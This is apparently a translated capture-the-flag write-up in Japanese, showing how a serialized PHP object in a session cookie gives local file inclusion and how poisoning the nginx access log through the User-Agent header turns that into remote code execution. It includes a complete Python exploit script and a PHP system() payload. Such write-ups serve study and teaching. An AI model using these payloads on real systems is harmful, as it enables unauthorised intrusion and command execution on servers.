ソース:
脆弱性: LFI, RCE
訳:
この Web アプリで情報を収集し、偵察を行った数時間後。
Cookieを確認しました : PHPSESSID=
PHPSESSID — PHPSESSID Cookie は PHP にネイティブであり、Web サイトがシリアル化された状態データを保存できるようにします。
これは、ユーザー セッションを確立し、一般にセッション Cookie と呼ばれる一時 Cookie を介して状態データを渡すために使用されます。
(ブラウザを閉じると期限切れになります)。
通常、Base64 でエンコードされます。
LFI の脆弱性
LFIとは何ですか?
ローカル ファイル インクルージョンは、攻撃者が Web アプリケーションを騙して Web サーバー上でファイルを実行または公開させる攻撃手法です。 LFI 攻撃により機密情報が漏洩する可能性があり、深刻な場合にはクロスサイト スクリプティング (XSS) やリモート コード実行につながる可能性があります。
/www/index.html を /etc/passwdに置き換えるとどうなりますか?
これで、新しい悪意のある Cookie がエンコードされました。
さまざまな悪用パスを示すために、これを 3 つの異なる方法で実行します。
サイト上の Cookie を変更して情報を取得する
Burp Suiteを使用してCookieを変更する
LFI発RCE行き
RCEとは何ですか?
リモート コード実行 (RCE) 攻撃により、攻撃者はコンピュータ上で悪意のあるコードをリモートから実行できます。
RCE の脆弱性の影響は、マルウェアの実行から、侵害されたマシンを攻撃者が完全に制御できるようになるまで多岐にわたります。
LFI 脆弱性から RCE を取得する最も簡単な方法は、ログポイズニングを使用することです。
ログポイズニングとは何ですか?
ログポイズニングまたはログインジェクションは、攻撃者がサーバーログに悪意のあるコードを挿入してコマンドをリモートで実行したり、リバースシェルを取得したりするなど、ログファイルの内容を改ざんすることを可能にする手法です。
これは、アプリケーションがすでに LFI に対して脆弱である場合にのみ機能します。
この場合、リバース シェルを取得しようとすることは許可されていないため、単に「 ls -lsa」 - 「ls -l」 を使用してディレクトリをリストしてみます。
LFI の脆弱性を思い出してください。
ファイルの読み取りと実行のみが許可され、新しいファイルの書き込みや作成は許可されません。
では、どのようにしてコードを挿入するのでしょうか?
そうですね、サーバー ファイルにログを追加できますね。
まず、どのサーバーが実行されているかを知る必要があります。
NGINX!! に保存されます。
これらのファイルは/var/log/nginx/access.log
まず、Python スクリプトを使用してログ ファイルにアクセスできるかどうかを確認してみましょう。
ここで、ヘッダー「User-Agent」を使用してログを追加できるかどうかを見てみましょう。
headers = {'User-Agent': 'Facundo Fernandez'}
そして、次の結果が得られます。
私の名前を入力する代わりに、次のように使用してみましょう。
headers = {'User-Agent': "<?php system('ls -lsa');?>"
リモートコード実行に成功しました!
コードの説明:
import base64
# Importing the base64 module, which is used for encoding and decoding base64 data.
# Creating a byte string that mimics a serialized PHP object.
# This could be used to exploit object injection vulnerabilities in PHP applications.
malicious_cookie = b'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}'
print('Malicious Cookie:', malicious_cookie)
# Printing the created malicious byte string (cookie) for demonstration.
# Encoding the malicious cookie using base64.
# This is necessary because cookies are usually base64-encoded during HTTP communication.
malicious_cookie_encoded = base64.b64encode(malicious_cookie)
print('Malicious cookie encoded:', malicious_cookie_encoded)
# Printing the base64-encoded version of the malicious cookie.
# Our Target
# This should be a URL under your control or where you have permission to test.
url = 'http://142.93.32.153:31043'
# Creating a cookies dictionary with the 'PHPSESSID' as the key and the encoded malicious cookie as the value.
cookies = {'PHPSESSID': malicious_cookie_encoded.decode()}
# Creating a headers dictionary, attempting to pass PHP code in the User-Agent header.
# The intention here is to test for Remote Code Execution (RCE) by trying to get the server to execute the 'ls' command.
headers = {'User-Agent': "<?php system('ls -lsa');?>"}
# Sending a GET request to the specified URL with the malicious cookies and headers.
r = requests.get(url, cookies=cookies, headers=headers)
print(r.text)
# Printing the response text from the server.
# If the server is vulnerable and executes the code, you might see the result of the 'ls -lsa' command in the response.
ほなほな。